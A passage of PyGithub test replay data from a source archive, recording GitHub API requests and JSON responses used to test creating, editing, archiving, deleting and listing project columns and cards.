'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"name": "Project Column created by PyGithub"} 201 [('Server', 'GitHub.com'), ('Date', 'Wed, 26 Dec 2018 22:03:47 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '355'), ('Status', '201 Created'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4953'), ('X-RateLimit-Reset', '1545864082'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', '"3a581aa89f45ff2fbe3378114691ffa8"'), ('Location', 'https://api.github.com/projects/columns/4046355'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'E242:0E36:2F0B2E5:777D4A5:5C23FAC3')] {"url":"https://api.github.com/projects/columns/4046355","project_url":"https://api.github.com/projects/2032093","cards_url":"https://api.github.com/projects/columns/4046355/cards","id":4046355,"node_id":"MDEzOlByb2plY3RDb2x1bW40MDQ2MzU1","name":"Project Column created by PyGithub","created_at":"2018-12-26T22:03:47Z","updated_at":"2018-12-26T22:03:47Z"} https POST api.github.com None /projects/columns/4046355/cards {'Content-Type': 'application/json', 'Accept': 'application/vnd.github.inertia-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"note": "Project Card"} 201 [('Server', 'GitHub.com'), ('Date', 'Wed, 26 Dec 2018 22:03:48 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '1282'), ('Status', '201 Created'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4952'), ('X-RateLimit-Reset', '1545864082'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', '"55a34a8b219c2f04a42af8617ac8884f"'), ('Location', 'https://api.github.com/projects/columns/cards/16039019'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', '91C6:0E38:673BB20:E4BABD4:5C23FAC4')] {"url":"https://api.github.com/projects/columns/cards/16039019","project_url":"https://api.github.com/projects/2032093","id":16039019,"node_id":"MDExOlByb2plY3RDYXJkMTYwMzkwMTk=","note":"Project Card","archived":false,"creator":{"login":"bbi-yggy","id":1086629,"node_id":"MDQ6VXNlcjEwODY2Mjk=","avatar_url":"https://avatars0.githubusercontent.com/u/1086629?v=4","gravatar_id":"","url":"https://api.github.com/users/bbi-yggy","html_url":"https://github.com/bbi-yggy","followers_url":"https://api.github.com/users/bbi-yggy/followers","following_url":"https://api.github.com/users/bbi-yggy/following{/other_user}","gists_url":"https://api.github.com/users/bbi-yggy/gists{/gist_id}","starred_url":"https://api.github.com/users/bbi-yggy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bbi-yggy/subscriptions","organizations_url":"https://api.github.com/users/bbi-yggy/orgs","repos_url":"https://api.github.com/users/bbi-yggy/repos","events_url":"https://api.github.com/users/bbi-yggy/events{/privacy}","received_events_url":"https://api.github.com/users/bbi-yggy/received_events","type":"User","site_admin":false},"created_at":"2018-12-26T22:03:48Z","updated_at":"2018-12-26T22:03:48Z","column_url":"https://api.github.com/projects/columns/4046355"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/ProjectCard.testDelete.txt0000644000175100001660000000204114756101563023215 0ustar00runnerdockerhttps DELETE api.github.com None /projects/columns/cards/11780055 {'Accept': 'application/vnd.github.inertia-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4981'), ('x-content-type-options', 'nosniff'), ('content-security-policy', "default-src 'none'"), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'F8C2:AADAA:17FC875:24A1090:59635F0C'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('vary', 'Accept-Encoding'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-runtime-rack', '0.072659'), ('x-xss-protection', '1; mode=block'), ('x-served-by', '7f48e2f7761567e923121f17538d7a6d'), ('date', 'Thu, 05 Mar 2020 02:43:38 GMT'), ('access-control-allow-origin', '*'), ('x-frame-options', 'deny'), ('x-ratelimit-reset', '1499685825')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/ProjectCard.testEditArchived.txt0000644000175100001660000001312214756101563024350 0ustar00runnerdockerhttps POST api.github.com None /projects/columns/8125057/cards {'Accept': 'application/vnd.github.inertia-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"note": "Project Card"} 201 [('Server', 'GitHub.com'), ('Date', 'Fri, 06 Mar 2020 17:16:47 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '1320'), ('Status', '201 Created'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4934'), ('X-RateLimit-Reset', '1583518123'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"be6599041bcad6ef41f7d01246c09360"'), ('Location', 'https://api.github.com/projects/columns/cards/34203320'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'D0B2:7CE4:100EC96:1EF4987:5E62857E')] {"url":"https://api.github.com/projects/columns/cards/34203320","project_url":"https://api.github.com/projects/4015343","id":34203320,"node_id":"MDExOlByb2plY3RDYXJkMzQyMDMzMjA=","note":"Project Card","archived":false,"creator":{"login":"jodytest1511","id":61476392,"node_id":"MDQ6VXNlcjYxNDc2Mzky","avatar_url":"https://avatars1.githubusercontent.com/u/61476392?v=4","gravatar_id":"","url":"https://api.github.com/users/jodytest1511","html_url":"https://github.com/jodytest1511","followers_url":"https://api.github.com/users/jodytest1511/followers","following_url":"https://api.github.com/users/jodytest1511/following{/other_user}","gists_url":"https://api.github.com/users/jodytest1511/gists{/gist_id}","starred_url":"https://api.github.com/users/jodytest1511/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jodytest1511/subscriptions","organizations_url":"https://api.github.com/users/jodytest1511/orgs","repos_url":"https://api.github.com/users/jodytest1511/repos","events_url":"https://api.github.com/users/jodytest1511/events{/privacy}","received_events_url":"https://api.github.com/users/jodytest1511/received_events","type":"User","site_admin":false},"created_at":"2020-03-06T17:16:47Z","updated_at":"2020-03-06T17:16:47Z","column_url":"https://api.github.com/projects/columns/8125057"} https PATCH api.github.com None /projects/columns/cards/34203320 {'Accept': 'application/vnd.github.inertia-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"archived": true} 200 [('Server', 'GitHub.com'), ('Date', 'Fri, 06 Mar 2020 17:16:47 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4933'), ('X-RateLimit-Reset', '1583518122'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"9f746e487a12026e026bf66c1406e5be"'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'D0B3:662E:9CE60:14A7DF:5E62857F')] {"url":"https://api.github.com/projects/columns/cards/34203320","project_url":"https://api.github.com/projects/4015343","id":34203320,"node_id":"MDExOlByb2plY3RDYXJkMzQyMDMzMjA=","note":"Project Card","archived":true,"creator":{"login":"jodytest1511","id":61476392,"node_id":"MDQ6VXNlcjYxNDc2Mzky","avatar_url":"https://avatars1.githubusercontent.com/u/61476392?v=4","gravatar_id":"","url":"https://api.github.com/users/jodytest1511","html_url":"https://github.com/jodytest1511","followers_url":"https://api.github.com/users/jodytest1511/followers","following_url":"https://api.github.com/users/jodytest1511/following{/other_user}","gists_url":"https://api.github.com/users/jodytest1511/gists{/gist_id}","starred_url":"https://api.github.com/users/jodytest1511/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jodytest1511/subscriptions","organizations_url":"https://api.github.com/users/jodytest1511/orgs","repos_url":"https://api.github.com/users/jodytest1511/repos","events_url":"https://api.github.com/users/jodytest1511/events{/privacy}","received_events_url":"https://api.github.com/users/jodytest1511/received_events","type":"User","site_admin":false},"created_at":"2020-03-06T17:16:47Z","updated_at":"2020-03-06T17:16:47Z","column_url":"https://api.github.com/projects/columns/8125057"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/ProjectCard.testEditNote.txt0000644000175100001660000001312614756101563023534 0ustar00runnerdockerhttps POST api.github.com None /projects/columns/8125057/cards {'Accept': 'application/vnd.github.inertia-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"note": "Project Card"} 201 [('Server', 'GitHub.com'), ('Date', 'Fri, 06 Mar 2020 17:16:45 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '1320'), ('Status', '201 Created'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4940'), ('X-RateLimit-Reset', '1583518123'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"3f1e24b80d4263b328a361190ba12141"'), ('Location', 'https://api.github.com/projects/columns/cards/34203318'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'D0AC:1F1A:8BC235:157BF6E:5E62857C')] {"url":"https://api.github.com/projects/columns/cards/34203318","project_url":"https://api.github.com/projects/4015343","id":34203318,"node_id":"MDExOlByb2plY3RDYXJkMzQyMDMzMTg=","note":"Project Card","archived":false,"creator":{"login":"jodytest1511","id":61476392,"node_id":"MDQ6VXNlcjYxNDc2Mzky","avatar_url":"https://avatars1.githubusercontent.com/u/61476392?v=4","gravatar_id":"","url":"https://api.github.com/users/jodytest1511","html_url":"https://github.com/jodytest1511","followers_url":"https://api.github.com/users/jodytest1511/followers","following_url":"https://api.github.com/users/jodytest1511/following{/other_user}","gists_url":"https://api.github.com/users/jodytest1511/gists{/gist_id}","starred_url":"https://api.github.com/users/jodytest1511/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jodytest1511/subscriptions","organizations_url":"https://api.github.com/users/jodytest1511/orgs","repos_url":"https://api.github.com/users/jodytest1511/repos","events_url":"https://api.github.com/users/jodytest1511/events{/privacy}","received_events_url":"https://api.github.com/users/jodytest1511/received_events","type":"User","site_admin":false},"created_at":"2020-03-06T17:16:44Z","updated_at":"2020-03-06T17:16:44Z","column_url":"https://api.github.com/projects/columns/8125057"} https PATCH api.github.com None /projects/columns/cards/34203318 {'Accept': 'application/vnd.github.inertia-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"note": "Edited Card"} 200 [('Server', 'GitHub.com'), ('Date', 'Fri, 06 Mar 2020 17:16:45 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4939'), ('X-RateLimit-Reset', '1583518122'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"ddb2330f5528743a1526588a4d12bf7a"'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'D0AD:55DE:E5A53:1EC84D:5E62857D')] {"url":"https://api.github.com/projects/columns/cards/34203318","project_url":"https://api.github.com/projects/4015343","id":34203318,"node_id":"MDExOlByb2plY3RDYXJkMzQyMDMzMTg=","note":"Edited Card","archived":false,"creator":{"login":"jodytest1511","id":61476392,"node_id":"MDQ6VXNlcjYxNDc2Mzky","avatar_url":"https://avatars1.githubusercontent.com/u/61476392?v=4","gravatar_id":"","url":"https://api.github.com/users/jodytest1511","html_url":"https://github.com/jodytest1511","followers_url":"https://api.github.com/users/jodytest1511/followers","following_url":"https://api.github.com/users/jodytest1511/following{/other_user}","gists_url":"https://api.github.com/users/jodytest1511/gists{/gist_id}","starred_url":"https://api.github.com/users/jodytest1511/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jodytest1511/subscriptions","organizations_url":"https://api.github.com/users/jodytest1511/orgs","repos_url":"https://api.github.com/users/jodytest1511/repos","events_url":"https://api.github.com/users/jodytest1511/events{/privacy}","received_events_url":"https://api.github.com/users/jodytest1511/received_events","type":"User","site_admin":false},"created_at":"2020-03-06T17:16:44Z","updated_at":"2020-03-06T17:16:45Z","column_url":"https://api.github.com/projects/columns/8125057"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/ProjectCard.testEditWithoutParameters.txt0000644000175100001660000001310414756101563026312 0ustar00runnerdockerhttps POST api.github.com None /projects/columns/8125057/cards {'Accept': 'application/vnd.github.inertia-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"note": "Project Card"} 201 [('Server', 'GitHub.com'), ('Date', 'Fri, 06 Mar 2020 17:16:49 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '1320'), ('Status', '201 Created'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4928'), ('X-RateLimit-Reset', '1583518122'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"67e3f3f7c020923318db8f939964098f"'), ('Location', 'https://api.github.com/projects/columns/cards/34203323'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'D0B8:471F:161261:2F9CBA:5E628580')] {"url":"https://api.github.com/projects/columns/cards/34203323","project_url":"https://api.github.com/projects/4015343","id":34203323,"node_id":"MDExOlByb2plY3RDYXJkMzQyMDMzMjM=","note":"Project Card","archived":false,"creator":{"login":"jodytest1511","id":61476392,"node_id":"MDQ6VXNlcjYxNDc2Mzky","avatar_url":"https://avatars1.githubusercontent.com/u/61476392?v=4","gravatar_id":"","url":"https://api.github.com/users/jodytest1511","html_url":"https://github.com/jodytest1511","followers_url":"https://api.github.com/users/jodytest1511/followers","following_url":"https://api.github.com/users/jodytest1511/following{/other_user}","gists_url":"https://api.github.com/users/jodytest1511/gists{/gist_id}","starred_url":"https://api.github.com/users/jodytest1511/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jodytest1511/subscriptions","organizations_url":"https://api.github.com/users/jodytest1511/orgs","repos_url":"https://api.github.com/users/jodytest1511/repos","events_url":"https://api.github.com/users/jodytest1511/events{/privacy}","received_events_url":"https://api.github.com/users/jodytest1511/received_events","type":"User","site_admin":false},"created_at":"2020-03-06T17:16:49Z","updated_at":"2020-03-06T17:16:49Z","column_url":"https://api.github.com/projects/columns/8125057"} https PATCH api.github.com None /projects/columns/cards/34203323 {'Accept': 'application/vnd.github.inertia-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {} 200 [('Server', 'GitHub.com'), ('Date', 'Fri, 06 Mar 2020 17:16:49 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4927'), ('X-RateLimit-Reset', '1583518122'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"67e3f3f7c020923318db8f939964098f"'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'D0B9:463A:10037D8:1FC2B4B:5E628581')] {"url":"https://api.github.com/projects/columns/cards/34203323","project_url":"https://api.github.com/projects/4015343","id":34203323,"node_id":"MDExOlByb2plY3RDYXJkMzQyMDMzMjM=","note":"Project Card","archived":false,"creator":{"login":"jodytest1511","id":61476392,"node_id":"MDQ6VXNlcjYxNDc2Mzky","avatar_url":"https://avatars1.githubusercontent.com/u/61476392?v=4","gravatar_id":"","url":"https://api.github.com/users/jodytest1511","html_url":"https://github.com/jodytest1511","followers_url":"https://api.github.com/users/jodytest1511/followers","following_url":"https://api.github.com/users/jodytest1511/following{/other_user}","gists_url":"https://api.github.com/users/jodytest1511/gists{/gist_id}","starred_url":"https://api.github.com/users/jodytest1511/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jodytest1511/subscriptions","organizations_url":"https://api.github.com/users/jodytest1511/orgs","repos_url":"https://api.github.com/users/jodytest1511/repos","events_url":"https://api.github.com/users/jodytest1511/events{/privacy}","received_events_url":"https://api.github.com/users/jodytest1511/received_events","type":"User","site_admin":false},"created_at":"2020-03-06T17:16:49Z","updated_at":"2020-03-06T17:16:49Z","column_url":"https://api.github.com/projects/columns/8125057"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/ProjectCard.testGetAll.txt0000644000175100001660000003731414756101563023176 0ustar00runnerdockerhttps GET api.github.com None /repos/bbi-yggy/PyGithub/projects {'Accept': 'application/vnd.github.inertia-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Mon, 13 Aug 2018 05:39:12 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4969'), ('X-RateLimit-Reset', '1534141409'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', 'W/"b0ea2d53fb5efdd6747efd4f3624c4b7"'), ('X-OAuth-Scopes', 'repo'), ('X-Accepted-OAuth-Scopes', 'public_repo, repo'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-Runtime-rack', '0.076096'), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'DFA6:5F7A:7E00E:F625D:5B711980')] [{"owner_url":"https://api.github.com/repos/bbi-yggy/PyGithub","url":"https://api.github.com/projects/1682941","html_url":"https://github.com/bbi-yggy/PyGithub/projects/1","columns_url":"https://api.github.com/projects/1682941/columns","id":1682941,"node_id":"MDc6UHJvamVjdDE2ODI5NDE=","name":"TestProject","body":"To be used for testing project access API for PyGithub.","number":1,"state":"open","creator":{"login":"bbi-yggy","id":6392037,"node_id":"MDQ6VXNlcjYzOTIwMzc=","avatar_url":"https://avatars3.githubusercontent.com/u/6392037?v=4","gravatar_id":"","url":"https://api.github.com/users/bbi-yggy","html_url":"https://github.com/bbi-yggy","followers_url":"https://api.github.com/users/bbi-yggy/followers","following_url":"https://api.github.com/users/bbi-yggy/following{/other_user}","gists_url":"https://api.github.com/users/bbi-yggy/gists{/gist_id}","starred_url":"https://api.github.com/users/bbi-yggy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bbi-yggy/subscriptions","organizations_url":"https://api.github.com/users/bbi-yggy/orgs","repos_url":"https://api.github.com/users/bbi-yggy/repos","events_url":"https://api.github.com/users/bbi-yggy/events{/privacy}","received_events_url":"https://api.github.com/users/bbi-yggy/received_events","type":"User","site_admin":false},"created_at":"2018-08-01T04:06:57Z","updated_at":"2018-08-13T05:36:20Z"}] https GET api.github.com None /projects/1682941/columns {'Accept': 'application/vnd.github.inertia-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Mon, 13 Aug 2018 05:39:13 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4968'), ('X-RateLimit-Reset', '1534141409'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', 'W/"8dd5e78506cda4651bd07cd8fa379ee4"'), ('X-OAuth-Scopes', 'repo'), ('X-Accepted-OAuth-Scopes', 'public_repo, repo'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-Runtime-rack', '0.070470'), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'DFA7:5F78:53816:C752C:5B711981')] [{"url":"https://api.github.com/projects/columns/3138830","project_url":"https://api.github.com/projects/1682941","cards_url":"https://api.github.com/projects/columns/3138830/cards","id":3138830,"node_id":"MDEzOlByb2plY3RDb2x1bW4zMTM4ODMw","name":"To Do","created_at":"2018-08-01T04:07:35Z","updated_at":"2018-08-01T04:07:35Z"},{"url":"https://api.github.com/projects/columns/3138831","project_url":"https://api.github.com/projects/1682941","cards_url":"https://api.github.com/projects/columns/3138831/cards","id":3138831,"node_id":"MDEzOlByb2plY3RDb2x1bW4zMTM4ODMx","name":"In Progress","created_at":"2018-08-01T04:07:43Z","updated_at":"2018-08-13T05:36:20Z"},{"url":"https://api.github.com/projects/columns/3138832","project_url":"https://api.github.com/projects/1682941","cards_url":"https://api.github.com/projects/columns/3138832/cards","id":3138832,"node_id":"MDEzOlByb2plY3RDb2x1bW4zMTM4ODMy","name":"Done","created_at":"2018-08-01T04:07:47Z","updated_at":"2018-08-03T00:31:17Z"}] https GET api.github.com None /projects/columns/3138830/cards?archived_state=all {'Accept': 'application/vnd.github.inertia-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Mon, 13 Aug 2018 05:39:13 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4967'), ('X-RateLimit-Reset', '1534141409'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', 'W/"faf8aa258c610a3c75793f891cae5663"'), ('X-OAuth-Scopes', 'repo'), ('X-Accepted-OAuth-Scopes', 'public_repo, repo'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 